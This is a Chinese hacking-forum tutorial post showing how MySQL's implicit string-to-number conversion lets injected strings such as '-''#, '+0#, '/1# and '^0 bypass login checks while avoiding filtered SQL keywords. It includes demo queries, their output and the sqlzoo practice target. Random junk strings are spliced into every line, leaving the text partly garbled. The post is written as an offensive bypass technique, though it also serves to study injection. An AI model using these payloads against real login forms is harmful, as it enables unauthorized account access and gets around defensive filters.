找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2022|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。+ k$ V" }" R( \/ _5 C  a( h5 r
有以下表结构:
3 K7 y+ Q4 r; r; Z, U# F* F7 {3 s+ b- o! l% R1 ^) [
mysql> desc admin;2 p. X/ ^% d  R2 Y
+----------+--------------+------+-----+---------+----------------+
* P7 p; i, c$ l| Field    | Type         | Null | Key | Default | Extra          |$ i$ T4 f& M% [, [5 e$ ], _  g
+----------+--------------+------+-----+---------+----------------+
' z- n! Q9 L: i: F$ m| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
, }5 o, K" }3 S; D| name     | char(32)     | NO   | UNI | NULL    |                |
. @7 O7 |& g' x$ V1 Z| password | char(32)     | NO   | UNI | NULL    |                |
6 H& m5 F9 j! y) w/ x" v+----------+--------------+------+-----+---------+----------------+
4 Z1 A% ?+ |5 y% J+ P3 rows in set (0.00 sec)- f1 I3 y. U$ G) w
执行select * from admin;,成功返回所有记录内容。* o( `3 N9 z6 {: N

$ g+ P0 Z2 u! c5 O% a
9 g/ M4 |  }6 `+----+--------+----------------------------------+# v& G  x3 ?5 y  o1 t1 S, k
| id | name   | password                         |( _% h# I) X; i0 N
+----+--------+----------------------------------+- V* e- }3 u# A. f/ V
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |1 E; R6 |$ ?+ P2 j' }
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
3 d7 D& x9 j2 z|  4 | n00b   | ff80e8508d39047460921792273533a4 |
0 I7 [+ q  s/ w3 u5 t+----+--------+----------------------------------+. s. N/ K5 g8 |) t6 l) u  e
3 rows in set (0.00 sec)9 J% d# G9 Y4 y) l1 f
执行select * from admin where name=”;,没有匹配到任何记录。 5 X7 B- q- W" }5 z# f2 `
; ~, R+ p( S: o7 q: |
mysql> select * from admin where name = '';( |" M5 Z7 y7 l6 A: s
Empty set (0.00 sec)
* _7 O% z; w- o  f. @4 X# j那么我们来执行select * from admin where name = ”-”;7 S+ f' m$ i* s) l, M

1 ?, U# R/ h: _4 |( W9 X/ I' o  k8 p$ H; n
, {5 ~8 J* _* d3 ~& a5 y9 V; d$ E# S+----+--------+----------------------------------+" x7 v1 D: y6 w' u
| id | name   | password                         |  Y1 M6 h# R, T% _; l
+----+--------+----------------------------------+' x  ^4 y8 }# [- B
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |) ^: S( Y9 L$ c: ?+ N1 n8 A
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
+ D, U) |0 U" T5 o|  4 | n00b   | ff80e8508d39047460921792273533a4 |3 L; E+ H& I$ K5 T, S0 Y
+----+--------+----------------------------------+3 j3 \+ F- v/ q" V) R' y' t5 P
3 rows in set, 3 warnings (0.00 sec)
* W( M# A1 ], P& o8 x可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 7 v* e! }5 _( x0 [! S$ y/ k6 f
7 v# }1 F3 r  T$ b9 q5 z. B
mysql> show warnings;2 {2 e9 v) {. p7 ^3 r+ e2 H
+---------+------+------------------------------------------4 q. Q: N  u. {% ]
| Level   | Code | Message
9 `# e! _( A4 \- D4 ~: T+---------+------+------------------------------------------
2 l9 ]1 ~% ^" c. S| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
) @! D6 g5 t$ U4 y% x| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ k2 H; j  ]6 B+ a7 J% r9 I
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
+ R  k  K8 n, l7 I7 f8 q. N+---------+------+------------------------------------------
/ B9 c. b2 i. W6 q3 rows in set (0.00 sec)
) {5 |$ A. B* u提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 # A0 c  y% Z8 C/ o) Q) I

: L4 _. v& x7 \mysql> select ''-'';
) M! b3 I; |5 o5 G' X& b0 E+-------+4 h3 ~' d: J4 g# _8 a  f
| ''-'' |
+ T* b, z2 `$ Z& E0 Y. P$ d+-------+
7 w' E" b* X) L# G" D8 @% f8 i, J|     0 |/ M. I5 F' C: s/ C# @; j& A% N, v
+-------+
  i' k. R1 v7 s7 \) K6 J- @1 row in set (0.00 sec)
# c! v: S6 [6 G# C9 I返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
6 k1 e( E' _- T8 M2 J. q0 c% g+ n6 Y! w1 q' @, h; t
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);. ]! N$ p/ D: P2 N
+-----------------------------------------------------+: [( ]: B- a- R- t# T" B* b( [& Q
| CAST((select name from admin limit 1,1) as DECIMAL) |
9 Y, L8 A# S  p, h8 u' x3 S+-----------------------------------------------------++ P0 Z% t7 z7 d8 Y! u  b
|                                                   0 |8 a  q$ `/ n% g, N  p
+-----------------------------------------------------+
( g& \  [* Q6 C& Y  Y1 row in set, 1 warning (0.00 sec)6 N4 H, R5 ~! F  N& N7 [. o
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 1 Q! t6 _7 ]. G& c
) o- l+ \  s- |  i' h1 e+ x$ x
SQL注入场景: http://www.sqlzoo.net/hack/ 2 t) A7 \2 g  N& J& G
* ^% O$ o7 [$ G/ m2 D/ d
& T9 [$ A. I0 U2 L9 g* w' T0 J

8 G& O7 P5 V$ {  v
+ z, v) l1 l, w! q6 _如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 2 s) `: \: ~1 u: }* [- q

2 x  z" ~8 c% H/ n% c那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 7 U  u, C- p7 w$ O

. R0 p7 ]; N; x6 p/ g+ s
. R# v% A: u8 r$ {8 l/ ~  |$ A# d# C3 _

: c) w' q1 z' [4 s仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ) Q( @. }7 u8 K/ I# {

4 ~4 L+ S4 M: C% q, D9 J0 s   9 x: y, x& L- O

6 z$ D4 a! I8 _除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
5 i6 B& ~2 O6 u" h/ u+ S% \2 w1 e" o. w% u6 B$ ?6 r5 j: s) |
6 F# M& ]! z8 _' N: F
mysql> select ''/1;
! P0 S) I6 X* U% v2 b7 i& T+------+
3 y& |! X9 Z' j' i: ?1 D, S| ''/1 |
6 g/ G0 S$ s1 P8 G% i5 B. b+------+
  F$ a" C$ z0 ]|    0 |
7 |+ n7 q9 {/ |3 v: ?+------+
: Z1 f. a5 f! J1 row in set (0.00 sec)0 A1 o2 A3 p0 e
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
% w, D) Y+ g; O0 G( g( q
- f, T" l) {  l! x利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
8 K' ~: O  J+ B5 K4 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表